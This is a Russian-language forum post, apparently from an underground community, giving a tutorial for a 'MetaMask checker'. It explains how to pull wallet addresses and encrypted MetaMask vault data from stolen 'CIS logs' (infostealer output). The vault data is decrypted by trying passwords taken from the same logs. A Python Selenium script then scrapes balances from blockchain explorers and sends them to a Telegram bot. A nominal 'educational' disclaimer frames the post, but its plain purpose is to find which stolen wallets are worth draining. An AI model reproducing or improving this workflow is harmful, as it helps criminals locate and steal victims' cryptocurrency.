Перейти к публикации

reload

Чекер метамаска с выдачей

Рекомендованные сообщения

Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.

Приготовления

  1. Скачиваем питон - https://www.python.org/ , будет использоваться селениум вместо баса, технология та же
  2. Скачиваем драйвер хрома - https://chromedriver.storage.googleapis.com/94.0.4606.41/chromedriver_win32.zip
  3. Забиваем команды в консоль, чтобы установить нужные модули
  4. Код:
pip install selenium

  1. Учимся в школе 11 лет, чтобы научится списывать у других
  2. Устанавливаем расширение в браузер для упрощения жизни - https://chrome.google.com/webstore/detail/selenium-ide/mooikfkahbdckldjjndioackbalphokd

Данный минимум необходим для того, чтобы создавать ваше собственный чекер на браузерах.

  • Создаем проект с пустым скриптом питона
  • Рядом суем екзешник драйвера скачанный ранее

Приготовления окончены.

Что парсим

Парсить мы будем эксплореры.

Переходим на каждый сайт и сохраняем самый по вашему мнению стабильный селектор с помощью расширения Selenium IDE.

ed54cfd3ee349261f47a5.png

8e4c56c378ca7db771cbd.png

18d7ef352ec58c87f20ec.png

Импортируем библиотеку селениума, создаем словари, типа сайт - блок баланса и создаем экземпляр драйвера, для управления браузером:

from selenium import webdriverimport time slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8",          "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8",          "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8"          }wb = webdriver.Chrome()

Берем наш СНГ лог с метамаском и ищем программно в нем .log файлы, читаем в них адресса с помощью регулярки - 0x[0-9A-Za-z]{35, 45} и по каждому адресу будем проходится софтиной.

Вам нужна регулярка {data.*iv.*salt?} и все полученные результаты, забивать сюда - https://metamask.github.io/vault-decryptor/ перебирая массив паролей с лога.

Возвращаемся к коду, вы будете парсить балансы с .log файла, я для примера возьму рандомный, код получается таким:

from selenium import webdriverimport time slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8",          "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8",          "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8"          }wb = webdriver.Chrome() adress = "0xde744657f4ba10e1728e071c7f5fabe7cf3b9ac6"balances = {}for site, css in slovar.items():    wb.get(site+adress)    while(True):        try:            balances[site] = wb.find_element_by_css_selector(css).text            break        except:            time.sleep(1)print(balances)

На выходе получаем:

6e60273fa086d3f9fb55f.png6e60273fa086d3f9fb55f.png

Качаем pip install pytelegrambotapi, делаем бота, берем наш чатид и делаем код:

from selenium import webdriverimport timeimport telebot slovar = {"https://bscscan.com/address/":".row:nth-child(3) > .col-md-8",          "https://etherscan.io/address/": ".row:nth-child(3) > .col-md-8",          "https://polygonscan.com/address/": ".row:nth-child(3) > .col-md-8"          }wb = webdriver.Chrome() adress = "0xde744657f4ba10e1728e071c7f5fabe7cf3b9ac6"balances = {}for site, css in slovar.items():    wb.get(site+adress)    while(True):        try:            balances[site] = wb.find_element_by_css_selector(css).text            break        except:            time.sleep(1)print(balances)wb.close()  bot = telebot.TeleBot("token")bot.send_message("chat_id", f"{adress}\n{balances}")

7e490aae686a818fdb8a4.png

На этом все! Удачи!

Поделиться сообщением


Ссылка на сообщение

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×
×
  • Создать...